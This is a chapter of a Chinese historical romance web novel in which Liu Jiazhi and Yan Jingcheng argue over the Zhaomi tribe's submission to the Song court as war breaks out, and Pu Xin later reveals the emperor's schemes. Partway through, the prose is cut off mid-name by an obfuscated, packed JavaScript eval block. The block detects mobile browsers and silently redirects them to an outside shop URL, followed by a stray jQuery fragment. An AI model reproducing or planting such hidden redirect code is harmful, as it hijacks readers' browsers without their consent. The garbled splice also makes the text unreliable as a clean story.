晏井承一个旋身,将柳嘉之带回帐子内,顺手关紧了门并用内力将门锁上。
柳嘉之见挣脱不开,脸颊抵着他的胸膛,闷闷道:“我还没有消气,晏井承。”
晏井承搂紧她,下巴抵在她的发顶,温柔道:“我知道。气我白日里没寻你,气我明明察觉到你心绪不宁,却没陪在你身边。”
柳嘉之摇摇头,“我不气你没去找我。你有自己的事情要做,想来你能放心,也是知道我不会有危险。我想清楚了,我不是活在你们的操控之中,而是活在你们的保护之下。”
晏井承微微松开她,眼中满是不可思议,“小之……”
柳嘉之抬手示意他噤声,轻轻挣开他的怀抱,往后退了两步,与他拉开些许距离。
帐内无光,只能借着窗外的月色看清彼此的轮廓,她望着窗外,轻声道:“晏井承,你的身份是你师父的徒儿,昭弥部有恩于你,所以你做的任何选择,我都能理解。”
她缓缓转身,抬眸直视着他,“而我的身份,也不再只是柳嘉之,还是长溪郡主。我既受着你们的保护,那就该履行好这份身份对应的责任。”
*
晏井承看着她,良久沉默不言,只眸中翻涌着复杂的情绪。
柳嘉之迎着他的目光,平静又坚定道:“我会配合你们,说服昭弥部归顺。”
晏井承缓缓开口:“你其实什么都不用做。他们若不愿归顺,部族间一旦开战,官家那边已经吩咐过,会派人接你回大宋,你不用担心真的要联姻。”
柳嘉之忽然笑了:“接我走了,那你呢?”
晏井承垂眸,避开她的视线,没有回答。
柳嘉之追问:“你会和昭弥部共进退,对吧,晏井承?”
他沉默片刻,终是低声道:“你等我。”
柳嘉之轻轻摇头,“不等了,晏井承。我不会回去的。”
她顿了顿,“他们不同意,我就想办法让他们同意。昭弥部物产丰饶、地势险要,这样一块肥肉,与其在部族之争中被瓜分殆尽,不如纳入我大宋麾下,既能保部族安稳,也能为朝廷添一份助力。”
她抬眸,“你不愿意逼迫他们,那就换我来。官家为我亦做了许多,正巧我还没怎么报答过他呢。”
晏井承眉头紧蹙,“小之……”
*
柳嘉之没让他继续说下去,转身走到桌边坐下,伸手想去倒茶,却发现茶壶里面空空如也,她尴尬收回手,转而看向他。
“你不是已经辞任暗阁了么?怎么你知道官家的所有决策,而阿赤却什么都不知道?”
晏井承显然没料到她会突然问起这个,眸色微变,半晌才答道:“阿赤大病初愈,身子还弱,我帮他分担些,也无可厚非。”
柳嘉之收起脸上最后一丝笑意,目光锐利地直视着他,“那你去吧,晏井承。去完成你对自己的期许,我会帮你的。”
晏井承张了张嘴,似有千言万语堵在喉头,最终却只化作一声欲言又止的喟叹。
柳嘉之垂下眼帘,声音淡了下去:“我要睡了,明天见。”
“明天见……”晏井承低声应着,脚步沉重地转身,抬手解开内力锁住的门,轻轻带上门,身影消失在夜色中。
帐内重归寂静,只剩下窗外的月光静静流淌。
柳嘉之坐在桌旁,方才强撑的坚定瞬间褪去,心头忽然空了一块,像被晚风撕开了一道缺口,凉丝丝地疼。
*
一夜无梦。
柳嘉之昏昏沉沉醒来,头痛得发沉,刚出了帐子,就见外面人影攒动,所有人都朝着王帐方向聚拢,脚步匆匆,还不时低头交耳,神色凝重。
她心头一紧,连忙提步跟了上去。
王帐门口早已围满了人,除了阚忆思、齐昕昕他们几个,旁边还站着几位部族长老,面色肃穆。
柳嘉之走到齐昕昕身旁,压低声音问:“发生什么事了?”
齐昕昕小声回:“刚得到的消息,周边那几个部族联合起来朝昭弥部宣战了,据说已经兵临边境,好在言袂先生察觉得早,连夜带着人手出了关口迎战,先拦住了他们一阵。”
柳嘉之还没来得及感叹事情发展之快,王帐门就被打开,思夫人、诺敏萨仁与耿陵一前一后走了出来。
思夫人一身劲装,眉宇间不见往日的温婉,她目光扫过人群,在柳嘉之身上短暂停留,随即大声宣布:
“萨仁王子与驸马都尉领兵十万,即刻驰援,协助前线破敌!其他人随我留守部族,加固防线,安抚族人!”
*
话音刚落,帐外的昭弥部族人、包括齐昕昕都振臂齐声高呼:“昭弥不灭!部族永宁!”喊声震天,士气高涨。
唯有柳嘉之、单兴为他们几个中原人立在原地,显得格格不入。
柳嘉之深吸一口气,往前踏出一步,高声道:“思夫人!”
“长溪郡主!”诺敏萨仁打断柳嘉之,眼神锐利地直直看向她。
“有我在,有昭弥部的儿郎在,便绝不会让外人踏破我们的疆土!今日我便让你看看,昭弥部的骄傲,从不是靠依附他人换来的!我们靠的是马背上的刀,是族人的血与骨!就算没有大宋援手,我们照样能守住家园,照样能让那些联军有来无回!”
族人的呼喊声再次响起,比之前更甚。
柳嘉之望着诺敏萨仁,又想起昨夜晏井承欲言又止的模样,心头忽然涌上一股不安,她下意识开始在帐外熙攘的人群中四处张望。
“别找了。”一道低沉的声音忽然在身侧响起,“晏井承昨夜就跟师父一起去了前线。我说他们这几日行踪诡秘,原来是有那么大的事瞒着我们。”喻赤不知何时站到了她身边,眉头紧蹙,神色凝重。
柳嘉之浑身一怔,晏井承,上战场就是你说的万全之策?
*
她深吸一口气,抬眸看向喻赤,又看向他紧握琉光刀的右手:“你要是去找他,能不能带我去?”
“不能。”喻赤眉头皱得更紧,语气斩钉截铁,“那是战场,不是益州的市井街巷,容不得你任性。”
柳嘉之不甘心,还想争取一下,眼角余光却瞥见诺敏萨仁与耿陵已翻身上马。
喻赤看了眼他们,又回头深深看了她一眼,小声丢了句:“照顾好自己。”说罢便翻身上马,策马追上队伍,几道身影很快汇入大军洪流,转瞬便消失在视野尽头。
帐外的呼喊声渐渐平息,族人纷纷散去各司其职,只留下柳嘉之与单兴为几人立在原地,望着大军远去的方向,神色各异。
风掠过,柳嘉之抬手按住胸口,那里多种感受交织,说不清是在担忧谁的安危,还是想急切解决这一切。
*
阚忆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813744|175250||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
思的声音打破了沉寂,她面露愧色,对着单兴为几人微微颔首:“对不住各位,本是想留大家在昭弥部多盘桓几日,赏赏草原风光,却没料到会发生这种事。”
她话锋一转,目光落在单兴为与蒲信身上,“我已让人备好马匹与干粮,今夜便会想办法偷偷送你们出部族,一路护送你们平安返回中原。”
“我们现在走算怎么回事?”单兴为第一个不同意道。
“你不走,你的映薇怎么办?”齐昕昕打断他,“汴京温家若是知晓,怕是要把你腿都打断!”
单兴为听到温家,瞬间泄了气,垂头不语。
温映薇轻轻拍了拍他的背,温柔道:“咱们不走。你去做你想做的事,继续和你的江湖朋友并肩作战,不用担心我。”
柳嘉之望着眼前几人执手相望的模样,忽然转头看向一旁沉默不语的蒲信:“阿蒲,想必你一定也知道些什么?”
蒲信先是扫了一眼正感动得眼眶发红的单兴为,又瞥了眼一脸无奈的阚忆思与齐昕昕,最后将目光落回柳嘉之身上,眸色深沉。
“借一步说话。”
*
两人走到僻静处,风将远处族人加固防线的吆喝声吹得模糊。
蒲信率先开口:“官家的心思,你心里的答案是?”
柳嘉之抬眸直视他:“先前昭弥部与大宋的邦交,最多不过是互不相犯,真到了生死关头,远水救不了近火。晏井承不愿逼迫昭弥部归顺,想靠一战定乾坤,可联军势大,言袂与他就算有通天本事,也难敌四手。”
蒲信不置可否,“那些部族之所以会突然联手,不过是有人刻意放出风声,说昭弥部要与大宋结为姻亲,日后要借大宋兵力吞并周边部族。那些人本就觊觎昭弥部的富庶,又怕大宋势力真的渗透进来,自然要趁联姻未成,先下手为强。”
“有人?”柳嘉之眯起眼睛,“是官家?是他逼昭弥部陷入绝境……”
“嘉之,”蒲信打断她,“就算没有官家,这把火几年内照样会烧起来,只是现在你和单兄歪打正着来到这里,提前让朝廷重视起来了而已。”
柳嘉之顿了顿,“所以其实你和阿赤不用管公务,能在草原上留那么久,也是官家的授意?我竟以为一切都是顺其自然发生的。”
蒲信颔首:“本就是顺势而为。此地若是多年后被周边部族瓜分殆尽,或是被某个强权掌控,我大宋边境便会永无宁日,迟早要受其威胁。”
他抬眸望向远方,眸色沉了沉:“如今战事已起,既是危机,亦是大宋稳固边疆的大好机会。昭弥部需借力自保,朝廷需屏障安边,这本就是互利共赢的局面,算不上谁逼谁。”
*
柳嘉之沉默半晌,无奈笑起来,“这确实是个千载难逢的好机会,依昭弥部的地势,朝廷若是直接出兵援救,要耗粮草、损兵力,得不偿失。”
“可若晏井承选了为昭弥部而战,以他的能耐,定会主动设法破局。而昭弥部经此一战,再无抗衡之力,届时归顺便是顺理成章,这样一来大宋不费一兵一卒便能拿下这边境屏障。”
蒲信眸色深沉,“官家没有你想的这般无情,”说罢从怀中掏出一枚祥云纹样令牌,递到她面前:“若劝归顺成功,郡主可凭此令牌命我调动边境八万轻骑。”
柳嘉之缓缓接过,蒲信却又为难开口道:“但是……”